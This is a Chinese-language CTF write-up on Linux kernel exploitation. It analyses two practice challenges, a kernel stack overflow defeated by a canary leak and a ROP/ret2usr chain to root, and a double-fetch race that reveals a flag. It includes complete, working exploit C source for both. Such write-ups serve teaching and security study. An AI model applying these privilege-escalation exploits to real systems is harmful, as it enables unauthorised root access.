前言: 接着上篇说的,这篇主要讨论一下ROP构造以及Double Fetch的利用。上一篇中Bypass smep的一部分构造没有明白的,在这篇中会得到详细的解答。
ROP: 题目(见附件)照常给了三个文件,照样常规流程来,先把硬盘镜像给解压了,再看看start.sh文件启动内核的脚本:
1 2 3 4 5 6 7 8 qemu-system-x86_64 \ -m 128M \ -kernel ./bzImage \ -initrd ./core.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ -s \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic \
开了kaslr保护。相当于用户态pwn的aslr地址随机化。
再看看镜像文件里的init文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #!/bin/sh mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t devtmpfs none /dev /sbin/mdev -s mkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/pts chmod 666 /dev/ptmx cat /proc/kallsyms > /tmp/kallsyms echo 1 > /proc/sys/kernel/kptr_restrict echo 1 > /proc/sys/kernel/dmesg_restrict ifconfig eth0 up udhcpc -i eth0 ifconfig eth0 10.0.2.15 netmask 255.255.255.0 route add default gw 10.0.2.2 insmod /core.ko poweroff -d 120 -f & setsid /bin/cttyhack setuidgid 2000 /bin/sh echo 'sh end!\n' umount /proc umount /sys poweroff -d 0 -f
看到了这一句:
1 cat /proc/kallsyms > /tmp/kallsyms
可以直接在tmp目录下拿到prepare_kernel_cred
和commit_creds
的地址。不需要root权限。
还有这一句:
定时关机的命令,为了方便调试,把这一句给删掉。
镜像文件里面还有一个sh文件:
1 2 3 find . -print0 \ | cpio --null -ov --format=newc \ | gzip -9 > $1
看来是打包镜像的命令了,所以我们可以利用它来重新打包我们的镜像。
继续看驱动文件,来找找驱动程序的利用点。
Checksec: 1 2 3 4 5 6 7 ➜ give_to_player checksec core.ko [*] '/media/psf/Downloads/give_to_player/core.ko' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x0)
core_ioctl: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 __int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3) { __int64 v3; // rbx v3 = a3; switch ( a2 ) { case 1719109787: core_read(a3); break; case 1719109788: printk(&unk_2CD); off = v3; break; case 1719109786: printk(&unk_2B3); core_copy_func(v3); break; } return 0LL; }
很明显的选择结构,为1719109788时设置off的值。
core_write: 1 2 3 4 5 6 7 8 9 10 11 signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3) { unsigned __int64 v3; // rbx v3 = a3; printk(&unk_215); if ( v3 <= 0x800 && !copy_from_user(&name, a2, v3) ) return (unsigned int)v3; printk(&unk_230); return 4294967282LL; }
向name字段输入。
core_read: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 unsigned __int64 __fastcall core_read(__int64 a1) { __int64 v1; // rbx __int64 *v2; // rdi signed __int64 i; // rcx unsigned __int64 result; // rax __int64 v5; // [rsp+0h] [rbp-50h] unsigned __int64 v6; // [rsp+40h] [rbp-10h] v1 = a1; v6 = __readgsqword(0x28u); printk(&unk_25B); printk(&unk_275); v2 = &v5; for ( i = 16LL; i; --i ) { *(_DWORD *)v2 = 0; v2 = (__int64 *)((char *)v2 + 4); } strcpy((char *)&v5, "Welcome to the QWB CTF challenge.\n"); result = copy_to_user(v1, (char *)&v5 + off, 64LL); // leak if ( !result ) return __readgsqword(0x28u) ^ v6; __asm { swapgs } return result; }
&v5 + off
在栈空间中,且off由我们设置,所以我们可以泄漏出canary的值来绕过canary。copy_to_user(v1, (char *)&v5 + off, 64LL)
中v1为用户空间的空间地址。
core_copy_func: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 signed __int64 __fastcall core_copy_func(signed __int64 a1) { signed __int64 result; // rax __int64 v2; // [rsp+0h] [rbp-50h] unsigned __int64 v3; // [rsp+40h] [rbp-10h] v3 = __readgsqword(0x28u); printk(&unk_215); if ( a1 > 63 ) { printk(&unk_2A1); result = 0xFFFFFFFFLL; } else { result = 0LL; qmemcpy(&v2, &name, (unsigned __int16)a1); // overflow ------> rop } return result; }
这里的漏洞点不太容易注意到,这里的函数参数a1即输入是八字节的有符号整数,而在qmemcpy
函数中则是双字节的无符号整数,所以当设置a1=0xffffffffffff0200
即可绕过a1>63
的检查并在qmemcpy
中得到a1为0x0200的值。并且v2为栈中的值,超长复制即可溢出。从name字段复制,name字段的内容是我们可控的,所以利用点就很容易可以得到。
利用流程:
设置off
的值
调用core_read泄漏出canary的值
调用core_write往name
字段构造ROP
调用core_copy_func发生溢出劫持控制流
先随意设置一个off的值再去调试看看gdb中canary的位置,我设置了off为0x40:
再看看栈:
经后面调试判断比较canary时可以得知上图箭头所指处就是canary的值。所以我们就可以设置off为0x40泄漏得知canary的值。
这下后面的rop构造就和我们以往做pwn时一样构造就可以了。kernel pwn是为了提权,所以我们需要调用commit_creds(prepare_kernel_cred(0))
就可提权。况且commit_creds和prepare_kernel_cred的函数地址我们从上面了解到可以从tmp目录下直接得到。我们需要这样构造rop:
1 2 3 4 5 pop rdi;ret 0 prepare_kernel_cred mov rdi,rax;ret commit_creds
但是从vmlinux中提取出来的rop没有mov rdi,rax;ret
,所以我们仍可以换一种方法:
1 2 3 4 5 6 7 8 pop rdx;ret commit_creds mov rdi,rax;jmp rdx 或 pop rdx;ret pop rcx;ret mov rdi,rax;call rdx commit_creds
这里需要注意的一个点就是程序是开了kaslr的。所以这些从vmlinux中找的rop都不是真实地址,需要加上offset偏移才行,而这里的偏移可以用vmlinux中查得的prepare_kernel_cred
地址和qemu中的prepare_kernel_cred
相减即可得到。
1 2 3 直接查看得地址 pwndbg> p prepare_kernel_cred $1 = {<text variable, no debug info>} 0xffffffff8109cce0 <prepare_kernel_cred>
所以在vmlinux中查的rop都需要加上offset才为真实地址。
所构造的rop如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 unsigned long int rop_content[] = { 0x9090909090909090, 0x9090909090909090, 0x9090909090909090, 0x9090909090909090, 0x9090909090909090, 0x9090909090909090, 0x9090909090909090, 0x9090909090909090, canary_, 0x9090909090909090, 0xffffffff81000b2f+offset_size, //pop rdi;ret 0x0, pkd_addr, 0xffffffff810a0f49+offset_size, //pop rdx;ret cc_addr, 0xffffffff8106a6d2+offset_size, //mov rdi,rax;jmp rdx 0xffffffff81a012da+offset_size, //swapgs;popfq;ret 0, 0xffffffff81050ac2+offset_size, //iretq; (unsigned long)getshell, user_cs, user_flag, user_rsp, user_ss };
下图中的swapgs;popfq;ret
阶段是提权的必要操作,毕竟我们已经利用上面的函数提权完了,接下来要做的事情就是从内核态转回用户态了,所以需要恢复几个必要寄存器的值。
这里还需要注意的一个点就是调用core_copy_func
函数时,传参不能直接传-1
,经调试发现直接传-1
会导致最终得到4字节的值,最终无法绕过上面所说的>63
。
EXP: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> unsigned long int user_cs,user_ss,user_rsp,user_flag; void save_state(){ __asm__("mov user_cs,cs;" "mov user_ss,ss;" "mov user_rsp,rsp;" "pushf;" "pop user_flag;" ); puts("[*]Save the state!"); } void getshell(){ system("/bin/sh"); } int main(){ save_state(); unsigned long int *tcach = (unsigned long int *)malloc(0x40); unsigned long int pkd_addr,cc_addr; scanf("%lx",&pkd_addr); fflush(stdin); printf("input the cc_addr:\n"); scanf("%lx",&cc_addr); int fd = open("/proc/core",2); ioctl(fd,1719109788,0x40); ioctl(fd,1719109787,tcach); unsigned long canary_ = *tcach; //unsigned long vm_base = *(tcach+0x10) - 0x19b; printf("leak canary:%x\n",canary_); //printf("leak vm_base:%p",vm_base); unsigned long offset_size = pkd_addr - 0xffffffff8109cce0;// qemu addr - local addr //ret_offset = 0x50 canary = 0x40 unsigned long int rop_content[] = { 0x9090909090909090, 0x9090909090909090, 0x9090909090909090, 0x9090909090909090, 0x9090909090909090, 0x9090909090909090, 0x9090909090909090, 0x9090909090909090, canary_, 0x9090909090909090, 0xffffffff81000b2f+offset_size, //pop rdi;ret 0x0, pkd_addr, 0xffffffff810a0f49+offset_size, //pop rdx;ret cc_addr, 0xffffffff8106a6d2+offset_size, //mov rdi,rax;jmp rdx 0xffffffff81a012da+offset_size, //swapgs;popfq;ret 0, 0xffffffff81050ac2+offset_size, //iretq; (unsigned long)getshell, user_cs, user_flag, user_rsp, user_ss }; write(fd,rop_content,0xf0); ioctl(fd,1719109786,0xffffffff000000f0);//-1 will be 4 size return 0; }
Ret2usr: 这个方法其实跟上面所说的ROP基本没有区别,最根本的区别就是把上面所需要rop构造出来的提权过程commit_creds(prepare_kernel_cred(0))
直接写了一个函数,从而不需要rop调用,直接调用函数即可。该函数写成这样:
1 2 3 4 5 void getroot(){ char* (*pkc)(int) = prepare_kernel_cred; void (*cc)(char*) = commit_cred; (*cc)((*pkc)(0)); }
所以构造rop时可以直接这样构造:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 unsigned long rop[20] = { 0x9090909090909090, 0x9090909090909090, 0x9090909090909090, 0x9090909090909090, 0x9090909090909090, 0x9090909090909090, 0x9090909090909090, 0x9090909090909090, canary_, 0x9090909090909090, getroot, // 只改变了这里,别的都没变 0xffffffff81a012da+offset_addr, // swapgs; popfq; ret 0, 0xffffffff81050ac2+offset_addr, // iretq; ret; getshell, user_cs, user_flag, user_rsp, user_ss };
两者是不是一样?只不过调用getroot函数时调用的是用户态的函数。所以两者基本没什么区别。
因为内核有用户空间的进程不能访问内核空间,但内核空间能访问用户空间 这个特性,可以以 ring 0
特权执行用户空间代码完成提权等操作。
不过具体为什么会有*pkc
和*cc
指针就要具体去查看源代码才能知道了。
Double Fetch: double fetch属于用户态pwn中的条件竞争,属于内核态与用户态之间的数据访问竞争。
直接来看题2018 0CTF Finals baby kernel
:
照样常规解包查init、start.sh等操作,这里要注意的就是需关闭 dmesg_restrict
,不然无法查看printk所打印出的信息:
1 2 > echo 0 > /proc/sys/kernel/dmesg_restrict >
直接看函数:
_chk_range_not_ok: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 bool __fastcall _chk_range_not_ok(__int64 a1, __int64 a2, unsigned __int64 a3) { unsigned __int8 v3; // cf unsigned __int64 v4; // rdi bool result; // al v3 = __CFADD__(a2, a1); v4 = a2 + a1; if ( v3 ) result = 1; else result = a3 < v4; // a3 >= a1 + a2 return result; }
判断大小的一个函数。
baby_ioctl: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 signed __int64 __fastcall baby_ioctl(__int64 a1, __int64 a2) { __int64 v2; // rdx signed __int64 result; // rax int i; // [rsp-5Ch] [rbp-5Ch] __int64 v5; // [rsp-58h] [rbp-58h] _fentry__(a1, a2); v5 = v2; if ( (_DWORD)a2 == 26214 ) { printk("Your flag is at %px! But I don't think you know it's content\n", flag); result = 0LL; } else if ( (_DWORD)a2 == 4919 && !_chk_range_not_ok(v2, 16LL, *(_QWORD *)(__readgsqword((unsigned __int64)¤t_task) + 4952)) // a3 = 0x7ffffffff000 // a1 + a2 <= a3 && !_chk_range_not_ok( *(_QWORD *)v5, *(signed int *)(v5 + 8), *(_QWORD *)(__readgsqword((unsigned __int64)¤t_task) + 4952)) && *(_DWORD *)(v5 + 8) == strlen(flag) ) { for ( i = 0; i < strlen(flag); ++i ) { if ( *(_BYTE *)(*(_QWORD *)v5 + i) != flag[i] ) return 22LL; } printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag); result = 0LL; } else { result = 14LL; } return result; }
这里主要流程就是根据输入对比,然后和内存flag做比较。主要看的是这个:
1 2 3 4 5 6 7 !_chk_range_not_ok(v2, 16LL, *(_QWORD *)(__readgsqword((unsigned __int64)¤t_task) + 4952)) // a3 = 0x7ffffffff000 // a1 + a2 <= a3 && !_chk_range_not_ok( *(_QWORD *)v5, *(signed int *)(v5 + 8), *(_QWORD *)(__readgsqword((unsigned __int64)¤t_task) + 4952)) && *(_DWORD *)(v5 + 8) == strlen(flag)
这里的v2是ioctl
的第三个参数,也就是v2 + 16 <= a3
这个条件,第二个条件是*v5 + *(v5+8) <= a3
,第三个条件是*(v5 + 8) == strlen(flag)
。
从第三个条件很容易就看出来传入参数其中一个是flag的长度值,在看看__readgsqword((unsigned __int64)¤t_task) + 4952
的值是多少,在gdb中调试会明显很多:
可以看到是0x7ffffffff000
,那么可以很容易想到是为了检测是否在用户态而设定的。
所以可以得到上面的第一第二条件是在判断v5是否在用户态,且v5中的flag段是否在用户态。那么就可以构造出一个结构体了:
1 2 3 4 struct Flag { char *flag_str; unsigned long flag_len; }*flag;
这里需要注意的一个点就是因为flag是一个只想结构体的指针,所以需要给它初始化指针,否则会出现segment
报错。
struct Flag flag = (struct Flag )malloc(sizeof(struct Flag));
结构体找到了,那么就是利用条件竞争的时候了,因为程序是过了上面三个条件判断后就可以开始逐字节对比flag了,所以说我们可以在程序经过上三层判断的时候,开线程修改掉flag的地址为程序中的flag地址,这样就能对比成功了,最终打印flag。
那么如何知道程序中的flag地址呢,很明显的在ioctl函数中,当参数为26214
时,就能够打印出flag地址。
EXP: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 #include <stdio.h> #include <pthread.h> #include <stdlib.h> #include <sys/ioctl.h> #include <fcntl.h> #include <unistd.h> char s[] = "flag{1111_1111_11_1111_1111_1111}"; char *flag_addr = NULL; int finish = 0; struct Flag{ char *flag_str; unsigned long flag_len; }; void *thread_run(void *tt){ struct Flag *flag = tt; while(!finish){ flag->flag_str = flag_addr; } } int main(){ setvbuf(stdin,0,2,0); setvbuf(stdout,0,2,0); setvbuf(stderr,0,2,0); int fd = open("/dev/baby",0); struct Flag *flag = (struct Flag *)malloc(sizeof(struct Flag)); flag->flag_str = s; flag->flag_len = 0x21; ioctl(fd,0x6666); system("dmesg | grep \"Your flag is at \""); printf("input the flag addr :"); scanf("%x",&flag_addr); pthread_t t1; pthread_create(&t1,NULL,thread_run,flag); for(int i=0;i<0x1000;i++){ int ret = ioctl(fd,4919,flag); if(ret != 0){ printf("the flag addr:%p",flag->flag_str); } else{ goto end; } flag->flag_str = s; } end : finish = 1; pthread_join(t1,NULL); //ioctl(fd,4919,&flag); system("dmesg | grep \"the flag is not a secret anymore.\""); close(fd); return 0; }
这题还有一种解法,是侧信道攻击解法:
1 因为是逐字节判断,所以可以将一个字符写在page的最末端,当判断下一个字符的时候,会访问一个不存在的地址,导致crash,从而一位一位得到flag。
这里就不讨论了。
总结: 以上就是linux kernel pwn中的基本类型了,其实本质上和用户态的pwn相差无几,不过是exp的编写语言改变了,或者说是目的改变(提权or拿shell),了解透彻了还是很明确的。
参考链接: